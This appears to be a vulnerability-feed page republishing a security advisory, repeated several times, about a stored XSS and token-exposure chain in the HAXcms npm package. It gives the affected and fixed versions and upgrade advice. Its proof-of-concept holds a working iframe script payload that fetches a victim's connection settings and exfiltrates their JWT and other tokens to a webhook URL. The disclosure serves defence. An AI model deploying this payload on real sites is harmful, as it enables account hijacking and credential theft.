### Summary An attack chain utilizing **Stored XSS** alongside dynamic token exposure in the `/system/api/connectionSettings` endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the `jwt`, `user_token`, `site_token`, and `appstore_token`) into a global JavaScript variable (`window.appSettings`). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook. ### Details In `Operations.php` (`connectionSettings()`), the system returns a Javascript object designed to bootstrap the frontend context. This object, `window.appSettings`, acts as a "skeleton key" because it aggregates all necessary operational tokens for the active session. While HAXcms correctly relies on the cryptographically signed JWT for backend authentication (preventing Direct Object Reference/IDOR attempts), the CMS fails to secure the tokens themselves. Specifically: 1. **The Vector**: The system is vulnerable to Stored XSS (e.g., via injected `iframe` `srcdoc` or `<video-player>`). 2. **The Exposure**: Because the `connectionSettings` endpoint serves the tokens locally based on the active `PHPSESSID` cookie, any malicious script running in the browser context can intercept these keys. 3. **The Chain**: HAXcms isolates user environments by URL path (`/<username>/`). An attacker can use XSS to force the victim's browser to fetch their *target* username's specific settings via `fetch('/<username>/system/api/connectionSettings')`. Since the browser implicitly attaches the victim's session cookie, the server authenticates the request and returns the victim's valid JWT and tokens. ### PoC **1. Setup the Webhook Target** Prepare an external webhook (e.g., `webhook.site`) to receive the stolen data. **2. Inject the "Kill Chain" Payload** As an authenticated attacker (e.g., having edit access to any site), inject the following Javascript via the verified Stored XSS vectors (such as checking the HTML Source of a page and writing an `<iframe>`): ```html <iframe srcdoc="<script> const targetUsername = 'bto108'; // Replace with target victim fetch(`/${targetUsername}/system/api/connectionSettings`) .then(res => res.text()) .then(data => { const s = JSON.parse(data.substring(data.indexOf('{'), data.lastIndexOf('}') + 1)); const uToken = new URL(document.location.origin + s.getUserDataPath).searchParams.get('user_token'); const sToken = new URL(document.location.origin + s.saveNodePath).searchParams.get('site_token'); let aToken = 'N/A'; if (s.appStore && s.appStore.params && s.appStore.params.appstore_token) { aToken = s.appStore.params.appstore_token; } // Exfiltrate via Image Request to bypass CORS const payload = btoa(JSON.stringify({ target: targetUsername, jwt: s.jwt, user_token: uToken, site_token: sToken, appstore_token: aToken })); new Image().src = `https://webhook.site/YOUR-WEBHOOK-ID?data=${payload}`; }); </script>" style="display:none"></iframe> ``` **3. Execution & Verification** - When the victim (e.g., user `bto108`) views the compromised page, their browser automatically fires the `fetch` request, silently attaching their active session cookie. - The server responds with their connection settings. - The script parses their `jwt`, `user_token`, and other keys, encoding them in base64. - The attacker receives the full JWT and token dump on their webhook. *Screenshots confirming the data leakage and webhook capture:*      ### Impact **Critical Severity.** This attack completely compromises the primary defense mechanism of the CMS. By stealing the `jwt` and `user_token`, the attacker achieves **total account hijacking** without needing the victim's password. They can emulate the victim perfectly, bypassing standard interface restrictions to perform malicious administrative actions (creating/deleting sites, modifying user access, or uploading malicious content). The reliance on a global Javascript variable (`window.appSettings`) to store long-lived administrative security tokens creates a devastating chokepoint when combined with XSS.
### Summary An attack chain utilizing **Stored XSS** alongside dynamic token exposure in the `/system/api/connectionSettings` endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the `jwt`, `user_token`, `site_token`, and `appstore_token`) into a global JavaScript variable (`window.appSettings`). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook. ### Details In `Operations.php` (`connectionSettings()`), the system returns a Javascript object designed to bootstrap the frontend context. This object, `window.appSettings`, acts as a "skeleton key" because it aggregates all necessary operational tokens for the active session. While HAXcms correctly relies on the cryptographically signed JWT for backend authentication (preventing Direct Object Reference/IDOR attempts), the CMS fails to secure the tokens themselves. Specifically: 1. **The Vector**: The system is vulnerable to Stored XSS (e.g., via injected `iframe` `srcdoc` or `<video-player>`). 2. **The Exposure**: Because the `connectionSettings` endpoint serves the tokens locally based on the active `PHPSESSID` cookie, any malicious script running in the browser context can intercept these keys. 3. **The Chain**: HAXcms isolates user environments by URL path (`/<username>/`). An attacker can use XSS to force the victim's browser to fetch their *target* username's specific settings via `fetch('/<username>/system/api/connectionSettings')`. Since the browser implicitly attaches the victim's session cookie, the server authenticates the request and returns the victim's valid JWT and tokens. ### PoC **1. Setup the Webhook Target** Prepare an external webhook (e.g., `webhook.site`) to receive the stolen data. **2. Inject the "Kill Chain" Payload** As an authenticated attacker (e.g., having edit access to any site), inject the following Javascript via the verified Stored XSS vectors (such as checking the HTML Source of a page and writing an `<iframe>`): ```html <iframe srcdoc="<script> const targetUsername = 'bto108'; // Replace with target victim fetch(`/${targetUsername}/system/api/connectionSettings`) .then(res => res.text()) .then(data => { const s = JSON.parse(data.substring(data.indexOf('{'), data.lastIndexOf('}') + 1)); const uToken = new URL(document.location.origin + s.getUserDataPath).searchParams.get('user_token'); const sToken = new URL(document.location.origin + s.saveNodePath).searchParams.get('site_token'); let aToken = 'N/A'; if (s.appStore && s.appStore.params && s.appStore.params.appstore_token) { aToken = s.appStore.params.appstore_token; } // Exfiltrate via Image Request to bypass CORS const payload = btoa(JSON.stringify({ target: targetUsername, jwt: s.jwt, user_token: uToken, site_token: sToken, appstore_token: aToken })); new Image().src = `https://webhook.site/YOUR-WEBHOOK-ID?data=${payload}`; }); </script>" style="display:none"></iframe> ``` **3. Execution & Verification** - When the victim (e.g., user `bto108`) views the compromised page, their browser automatically fires the `fetch` request, silently attaching their active session cookie. - The server responds with their connection settings. - The script parses their `jwt`, `user_token`, and other keys, encoding them in base64. - The attacker receives the full JWT and token dump on their webhook. *Screenshots confirming the data leakage and webhook capture:*      ### Impact **Critical Severity.** This attack completely compromises the primary defense mechanism of the CMS. By stealing the `jwt` and `user_token`, the attacker achieves **total account hijacking** without needing the victim's password. They can emulate the victim perfectly, bypassing standard interface restrictions to perform malicious administrative actions (creating/deleting sites, modifying user access, or uploading malicious content). The reliance on a global Javascript variable (`window.appSettings`) to store long-lived administrative security tokens creates a devastating chokepoint when combined with XSS.
Update @haxtheweb/haxcms-nodejs to 26.0.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanHAXcms: Mass Token Exfiltration and Cross-Tenant Hijack affects @haxtheweb/haxcms-nodejs (npm). Severity is high. ### Summary An attack chain utilizing **Stored XSS** alongside dynamic token exposure in the `/system/api/connectionSettings` endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the `jwt`, `user_token`, `site_token`, and `appstore_token`) into a global JavaScript variable (`window.appSettings`). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook. ### Details In `Operations.php` (`connectionSettings()`), the system returns a Javascript object designed to bootstrap the frontend context. This object, `window.appSettings`, acts as a "skeleton key" because it aggregates all necessary operational tokens for the active session. While HAXcms correctly relies on the cryptographically signed JWT for backend authentication (preventing Direct Object Reference/IDOR attempts), the CMS fails to secure the tokens themselves. Specifically: 1. **The Vector**: The system is vulnerable to Stored XSS (e.g., via injected `iframe` `srcdoc` or `<video-player>`). 2. **The Exposure**: Because the `connectionSettings` endpoint serves the tokens locally based on the active `PHPSESSID` cookie, any malicious script running in the browser context can intercept these keys. 3. **The Chain**: HAXcms isolates user environments by URL path (`/<username>/`). An attacker can use XSS to force the victim's browser to fetch their *target* username's specific settings via `fetch('/<username>/system/api/connectionSettings')`. Since the browser implicitly attaches the victim's session cookie, the server authenticates the request and returns the victim's valid JWT and tokens. ### PoC **1. Setup the Webhook Target** Prepare an external webhook (e.g., `webhook.site`) to receive the stolen data. **2. Inject the "Kill Chain" Payload** As an authenticated attacker (e.g., having edit access to any site), inject the following Javascript via the verified Stored XSS vectors (such as checking the HTML Source of a page and writing an `<iframe>`): ```html <iframe srcdoc="<script> const targetUsername = 'bto108'; // Replace with target victim fetch(`/${targetUsername}/system/api/connectionSettings`) .then(res => res.text()) .then(data => { const s = JSON.parse(data.substring(data.indexOf('{'), data.lastIndexOf('}') + 1)); const uToken = new URL(document.location.origin + s.getUserDataPath).searchParams.get('user_token'); const sToken = new URL(document.location.origin + s.saveNodePath).searchParams.get('site_token'); let aToken = 'N/A'; if (s.appStore && s.appStore.params && s.appStore.params.appstore_token) { aToken = s.appStore.params.appstore_token; } // Exfiltrate via Image Request to bypass CORS const payload = btoa(JSON.stringify({ target: targetUsername, jwt: s.jwt, user_token: uToken, site_token: sToken, appstore_token: aToken })); new Image().src = `https://webhook.site/YOUR-WEBHOOK-ID?data=${payload}`; }); </script>" style="display:none"></iframe> ``` **3. Execution & Verification** - When the victim (e.g., user `bto108`) views the compromised page, their browser automatically fires the `fetch` request, silently attaching their active session cookie. - The server responds with their connection settings. - The script parses their `jwt`, `user_token`, and other keys, encoding them in base64. - The attacker receives the full JWT and token dump on their webhook. *Screenshots confirming the data leakage and webhook capture:*      ### Impact **Critical Severity.** This attack completely compromises the primary defense mechanism of the CMS. By stealing the `jwt` and `user_token`, the attacker achieves **total account hijacking** without needing the victim's password. They can emulate the victim perfectly, bypassing standard interface restrictions to perform malicious administrative actions (creating/deleting sites, modifying user access, or uploading malicious content). The reliance on a global Javascript variable (`window.appSettings`) to store long-lived administrative security tokens creates a devastating chokepoint when combined with XSS.
AI coding agents often install or upgrade packages automatically in npm. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| @haxtheweb/haxcms-nodejsnpm | <=25.0.0 | 26.0.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate @haxtheweb/haxcms-nodejs to 26.0.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanHAXcms: Mass Token Exfiltration and Cross-Tenant Hijack affects @haxtheweb/haxcms-nodejs (npm). Severity is high. ### Summary An attack chain utilizing **Stored XSS** alongside dynamic token exposure in the `/system/api/connectionSettings` endpoint allows an authenticated attacker to perform a complete cross-tenant account takeover. The API dynamically leaks the active session's authentication tokens (including the `jwt`, `user_token`, `site_token`, and `appstore_token`) into a global JavaScript variable (`window.appSettings`). An attacker can exploit the XSS vulnerability to force a victim's browser to silently fetch their specific connection settings, extract the tokens, and exfiltrate them to an attacker-controlled webhook. ### Details In `Operations.php` (`connectionSettings()`), the system returns a Javascript object designed to bootstrap the frontend context. This object, `window.appSettings`, acts as a "skeleton key" because it aggregates all necessary operational tokens for the active session. While HAXcms correctly relies on the cryptographically signed JWT for backend authentication (preventing Direct Object Reference/IDOR attempts), the CMS fails to secure the tokens themselves. Specifically: 1. **The Vector**: The system is vulnerable to Stored XSS (e.g., via injected `iframe` `srcdoc` or `<video-player>`). 2. **The Exposure**: Because the `connectionSettings` endpoint serves the tokens locally based on the active `PHPSESSID` cookie, any malicious script running in the browser context can intercept these keys. 3. **The Chain**: HAXcms isolates user environments by URL path (`/<username>/`). An attacker can use XSS to force the victim's browser to fetch their *target* username's specific settings via `fetch('/<username>/system/api/connectionSettings')`. Since the browser implicitly attaches the victim's session cookie, the server authenticates the request and returns the victim's valid JWT and tokens. ### PoC **1. Setup the Webhook Target** Prepare an external webhook (e.g., `webhook.site`) to receive the stolen data. **2. Inject the "Kill Chain" Payload** As an authenticated attacker (e.g., having edit access to any site), inject the following Javascript via the verified Stored XSS vectors (such as checking the HTML Source of a page and writing an `<iframe>`): ```html <iframe srcdoc="<script> const targetUsername = 'bto108'; // Replace with target victim fetch(`/${targetUsername}/system/api/connectionSettings`) .then(res => res.text()) .then(data => { const s = JSON.parse(data.substring(data.indexOf('{'), data.lastIndexOf('}') + 1)); const uToken = new URL(document.location.origin + s.getUserDataPath).searchParams.get('user_token'); const sToken = new URL(document.location.origin + s.saveNodePath).searchParams.get('site_token'); let aToken = 'N/A'; if (s.appStore && s.appStore.params && s.appStore.params.appstore_token) { aToken = s.appStore.params.appstore_token; } // Exfiltrate via Image Request to bypass CORS const payload = btoa(JSON.stringify({ target: targetUsername, jwt: s.jwt, user_token: uToken, site_token: sToken, appstore_token: aToken })); new Image().src = `https://webhook.site/YOUR-WEBHOOK-ID?data=${payload}`; }); </script>" style="display:none"></iframe> ``` **3. Execution & Verification** - When the victim (e.g., user `bto108`) views the compromised page, their browser automatically fires the `fetch` request, silently attaching their active session cookie. - The server responds with their connection settings. - The script parses their `jwt`, `user_token`, and other keys, encoding them in base64. - The attacker receives the full JWT and token dump on their webhook. *Screenshots confirming the data leakage and webhook capture:*      ### Impact **Critical Severity.** This attack completely compromises the primary defense mechanism of the CMS. By stealing the `jwt` and `user_token`, the attacker achieves **total account hijacking** without needing the victim's password. They can emulate the victim perfectly, bypassing standard interface restrictions to perform malicious administrative actions (creating/deleting sites, modifying user access, or uploading malicious content). The reliance on a global Javascript variable (`window.appSettings`) to store long-lived administrative security tokens creates a devastating chokepoint when combined with XSS.
AI coding agents often install or upgrade packages automatically in npm. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| @haxtheweb/haxcms-nodejsnpm | <=25.0.0 | 26.0.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard